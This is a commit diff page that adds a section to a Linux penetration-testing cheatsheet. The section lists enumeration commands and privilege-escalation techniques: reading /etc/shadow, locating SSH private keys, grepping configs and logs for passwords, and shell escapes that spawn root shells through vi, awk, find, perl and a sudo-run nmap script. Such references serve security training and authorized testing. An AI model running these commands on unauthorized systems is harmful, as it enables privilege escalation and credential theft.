Skip to content

Commit f9d5a32

Browse files
Update Cheatsheet_LinuxPentest.txt
1 parent 4689945 commit f9d5a32

File tree

1 file changed

+159
-0
lines changed

1 file changed

+159
-0
lines changed

Cheatsheet_LinuxPentest.txt

+159
Original file line numberDiff line numberDiff line change
@@ -313,6 +313,165 @@ df -h
313313
Are there any unmounted file-systems?
314314
cat /etc/fstab
315315

316+
Kernel, Operating System & Device Information:
317+
318+
Command Result
319+
uname -a Print all available system information
320+
uname -r Kernel release
321+
uname -n System hostname
322+
hostname As above
323+
uname -m Linux kernel architecture (32 or 64 bit)
324+
cat /proc/version Kernel information
325+
cat /etc/*-release Distribution information
326+
cat /etc/issue As above
327+
cat /proc/cpuinfo CPU information
328+
df -a File system information
329+
330+
331+
Users & Groups:
332+
333+
Command Result
334+
cat /etc/passwd List all users on the system
335+
cat /etc/group List all groups on the system
336+
for i in $(cat /etc/passwd 2>/dev/null| cut -d":" -f1 2>/dev/null);do id $i;done 2>/dev/null List all uid’s and respective group memberships
337+
cat /etc/shadow Show user hashes – Privileged command
338+
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' List all super user accounts
339+
finger Users currently logged in
340+
pinky As above
341+
users As above
342+
who -a As above
343+
w Who is currently logged in and what they’re doing
344+
last Listing of last logged on users
345+
lastlog Information on when all users last logged in
346+
lastlog –u %username% Information on when the specified user last logged in
347+
lastlog |grep -v "Never" Entire list of previously logged on users
348+
349+
350+
351+
User & Privilege Information:
352+
353+
Command Result
354+
whoami Current username
355+
id Current user information
356+
cat /etc/sudoers Who’s allowed to do what as root – Privileged command
357+
sudo -l Can the current user perform anything as root
358+
sudo -l 2>/dev/null | grep -w 'nmap|perl|'awk'|'find'|'bash'|'sh'|'man'
359+
360+
|'more'|'less'|'vi'|'vim'|'nc'|'netcat'|python
361+
362+
|ruby|lua|irb' | xargs -r ls -la 2>/dev/null Can the current user run any ‘interesting’ binaries as root and if so also display the binary permissions etc.
363+
364+
365+
Environmental Information:
366+
367+
Command Result
368+
env Display environmental variables
369+
set As above
370+
echo $PATH Path information
371+
history Displays command history of current user
372+
pwd Print working directory, i.e. ‘where am I’
373+
cat /etc/profile Display default system variables
374+
cat /etc/shells Display available shells
375+
376+
377+
Interesting Files:
378+
379+
Command Result
380+
find / -perm -4000 -type f 2>/dev/null Find SUID files
381+
find / -uid 0 -perm -4000 -type f 2>/dev/null Find SUID files owned by root
382+
find / -perm -2000 -type f 2>/dev/null Find GUID files
383+
find / -perm -2 -type f 2>/dev/null Find world-writeable files
384+
find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null Find world-writeable files excluding those in /proc
385+
find / -perm -2 -type d 2>/dev/null Find word-writeable directories
386+
find /home –name *.rhosts -print 2>/dev/null Find rhost config files
387+
find /home -iname *.plan -exec ls -la {} ; -exec cat {} 2>/dev/null ; Find *.plan files, list permissions and cat the file contents
388+
find /etc -iname hosts.equiv -exec ls -la {} 2>/dev/null ; -exec cat {} 2>/dev/null ; Find hosts.equiv, list permissions and cat the file contents
389+
ls -ahlR /root/ See if you can access other user directories to find interesting files
390+
cat ~/.bash_history Show the current users’ command history
391+
ls -la ~/.*_history Show the current users’ various history files
392+
ls -la /root/.*_history Can we read root’s history files
393+
ls -la ~/.ssh/ Check for interesting ssh files in the current users’ directory
394+
find / -name "id_dsa*" -o -name "id_rsa*" -o -name "known_hosts" -o -name "authorized_hosts" -o -name "authorized_keys" 2>/dev/null |xargs -r ls -la Find SSH keys/host information
395+
ls -la /usr/sbin/in.* Check Configuration of inetd services
396+
grep -l -i pass /var/log/*.log 2>/dev/null Check log files for keywords (‘pass’ in this example) and show positive matches
397+
find /var/log -type f -exec ls -la {} ; 2>/dev/null List files in specified directory (/var/log)
398+
find /var/log -name *.log -type f -exec ls -la {} ; 2>/dev/null List .log files in specified directory (/var/log)
399+
find /etc/ -maxdepth 1 -name *.conf -type f -exec ls -la {} ; 2>/dev/null List .conf files in /etc (recursive 1 level)
400+
ls -la /etc/*.conf As above
401+
find / -maxdepth 4 -name *.conf -type f -exec grep -Hn password {} ; 2>/dev/null Find .conf files (recursive 4 levels) and output line number where the word ‘password’ is located
402+
lsof -i -n List open files (output will depend on account privileges)
403+
head /var/mail/root Can we read roots mail
404+
405+
406+
Service Information:
407+
408+
Command Result
409+
ps aux | grep root View services running as root
410+
ps aux | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++' Lookup process binary path and permissions
411+
cat /etc/inetd.conf List services managed by inetd
412+
cat /etc/xinetd.conf As above for xinetd
413+
cat /etc/xinetd.conf 2>/dev/null | awk '{print $7}' |xargs -r ls -la 2>/dev/null A very ‘rough’ command to extract associated binaries from xinetd.conf and show permissions of each
414+
ls -la /etc/exports 2>/dev/null; cat /etc/exports 2>/dev/null Permissions and contents of /etc/exports (NFS)
415+
416+
417+
Jobs/Tasks:
418+
419+
Command Result
420+
crontab -l -u %username% Display scheduled jobs for the specified user – Privileged command
421+
ls -la /etc/cron* Scheduled jobs overview (hourly, daily, monthly etc)
422+
ls -aRl /etc/cron* | awk '$1 ~ /w.$/' 2>/dev/null What can ‘others’ write in /etc/cron* directories
423+
top List of current tasks
424+
425+
426+
Networking, Routing & Communications:
427+
428+
Command Result
429+
/sbin/ifconfig -a List all network interfaces
430+
cat /etc/network/interfaces As above
431+
arp -a Display ARP communications
432+
route Display route information
433+
cat /etc/resolv.conf Show configured DNS sever addresses
434+
netstat -antp List all TCP sockets and related PIDs (-p Privileged command)
435+
netstat -anup List all UDP sockets and related PIDs (-p Privileged command)
436+
iptables -L List rules – Privileged command
437+
cat /etc/services View port numbers/services mappings
438+
439+
440+
Programs Installed:
441+
442+
Command Result
443+
dpkg -l Installed packages (Debian)
444+
rpm -qa Installed packages (Red Hat)
445+
sudo -V Sudo version – does an exploit exist?
446+
httpd -v Apache version
447+
apache2 -v As above
448+
apache2ctl (or apachectl) -M List loaded Apache modules
449+
mysql --version Installed MYSQL version details
450+
psql -V Installed Postgres version details
451+
perl -v Installed Perl version details
452+
java -version Installed Java version details
453+
python --version Installed Python version details
454+
ruby -v Installed Ruby version details
455+
find / -name %program_name% 2>/dev/null (i.e. nc, netcat, wget, nmap etc) Locate ‘useful’ programs (netcat, wget etc)
456+
which %program_name% (i.e. nc, netcat, wget, nmap etc) As above
457+
dpkg --list 2>/dev/null| grep compiler |grep -v decompiler 2>/dev/null && yum list installed 'gcc*' 2>/dev/null| grep gcc 2>/dev/null List available compilers
458+
cat /etc/apache2/envvars 2>/dev/null |grep -i 'user|group' |awk '{sub(/.*export /,"")}1' Which account is Apache running as
459+
460+
461+
Common Shell Escape Sequences:
462+
463+
Command Program(s)
464+
:!bash vi, vim
465+
:set shell=/bin/bash:shell vi, vim
466+
!bash man, more, less
467+
find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' ; find
468+
awk 'BEGIN {system("/bin/bash")}' awk
469+
--interactive nmap
470+
echo "os.execute('/bin/sh')" > exploit.nse
471+
472+
sudo nmap --script=exploit.nse nmap (thanks to comment by anonymous below)
473+
perl -e 'exec "/bin/bash";' Perl
474+
316475

317476
What "Advanced Linux File Permissions" are used? Sticky bits, SUID & GUID
318477
find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here

0 commit comments

Comments
 (0)